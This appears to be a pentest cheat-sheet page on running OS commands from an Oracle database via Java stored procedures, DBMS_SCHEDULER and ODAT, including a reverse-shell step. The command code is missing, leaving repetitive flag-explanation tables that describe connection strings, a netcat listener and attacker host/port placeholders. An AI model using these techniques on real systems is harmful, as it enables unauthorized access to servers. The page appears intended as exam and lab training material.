Oracle OS Command Execution
Oracle database access with DBA or EXECUTE ANY PROCEDURE privileges enables OS command execution through Java stored procedures or DBMS_SCHEDULER jobs. The commands execute as the Oracle process user — typically oracle on Linux or the Windows service account. Confirm DBA privileges from SQL execution before attempting these techniques.
Check Java Support
Java stored procedures require Java to be loaded in the database — available in most Oracle Enterprise installations:
STATUS ------- TRUE
Explain command
| -L | Attempt login only once; do not reprompt on failure. |
| $USER/$PASSWORD@(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=$TARGET_IP)(PORT=1521))(CONNECT_DATA=(SID=ORCL))) | Oracle Easy Connect string with credentials, TCP host, port 1521, and SID ORCL. |
OS Command Execution via Java Stored Procedure
Create a Java class that wraps Runtime.exec(), then wrap it in a PL/SQL function:
Java created.
Explain command
| -L | Limit login attempts to one; exit on failure instead of reprompting. |
| $USER/$PASSWORD@(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=$TARGET_IP)(PORT=1521))(CONNECT_DATA=(SID=ORCL))) | Oracle connect string with credentials, TCP host/port, and target SID=ORCL. |
OS_CMD('ID')
-------------------------------
uid=1001(oracle) gid=1001(oracle) groups=1001(oracle)
Explain command
| -L | Limits login attempts to one; exits on failed authentication instead of retrying. |
| $USER/$PASSWORD@(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=$TARGET_IP)(PORT=1521))(CONNECT_DATA=(SID=ORCL))) | Oracle connect string with credentials, TCP target host/port, and SID ORCL. |
| $TARGET_IP | Placeholder for the target Oracle DB server IP address. |
| <<'EOF' | Heredoc delimiter feeding multi-line SQL/PLSQL block to sqlplus stdin. |
Get a Reverse Shell via Java
Explain command
| -l | Listen mode, waits for incoming connections. |
| -v | Verbose output, prints connection status messages. |
| -n | Skip DNS resolution, use numeric IPs only. |
| -p | Specifies the local port number to listen on. |
| $LPORT | Variable placeholder for the local port number. |
Explain command
| -L | Attempt login only once, do not reprompt on failure. |
| $USER/$PASSWORD@(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=$TARGET_IP)(PORT=1521))(CONNECT_DATA=(SID=ORCL))) | Oracle connect string with credentials, TCP host, port 1521, and SID ORCL. |
| $TARGET_IP | Placeholder for the target Oracle DB server IP address. |
| $LHOST | Placeholder for the attacker's listening host IP for the reverse shell. |
| $LPORT | Placeholder for the attacker's listening port for the reverse shell. |
OS Command Execution via DBMS_SCHEDULER
DBMS_SCHEDULER can run external OS scripts and programs directly. Useful as an alternative when Java is unavailable:
Explain command
| -L | Limits login attempts to one; exits on failed authentication instead of retrying. |
| $USER/$PASSWORD@(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=$TARGET_IP)(PORT=1521))(CONNECT_DATA=(SID=ORCL))) | Oracle connect string with credentials, TCP host/port, and target SID=ORCL. |
| $TARGET_IP | Placeholder for the target Oracle DB server IP address. |
| $LHOST | Placeholder for the attacker's listener IP used in the reverse shell payload. |
| $LPORT | Placeholder for the attacker's listener port used in the reverse shell payload. |
ODAT for Automated OS Shell
ODAT's externaltable and dbmsscheduler modules automate OS command execution:
Important
ODAT exploitation modules are not permitted on OSCP. Use the manual Java stored procedure method above for exam environments.
Explain command
| dbmsscheduler | ODAT module using DBMS_SCHEDULER to execute OS commands. |
| -s $TARGET_IP | Target Oracle DB server IP address. |
| -p 1521 | Target port number (default Oracle listener port). |
| -d ORCL | Oracle database SID/service name to connect to. |
| -U $USER | Username for Oracle database authentication. |
| -P $PASSWORD | Password for Oracle database authentication. |
| --exec 'id' | OS command to execute on the remote server via scheduler. |
References
-
dbmsscheduler and Java stored procedure exploitation modules
-
Oracle — DBMS_SCHEDULERdocs.oracle.com/en/database/oracle/oracle-database/19/arpls/DBMS_SCHEDULER.html (opens in new tab)
External job execution reference
Was this helpful?
Your feedback helps improve this page.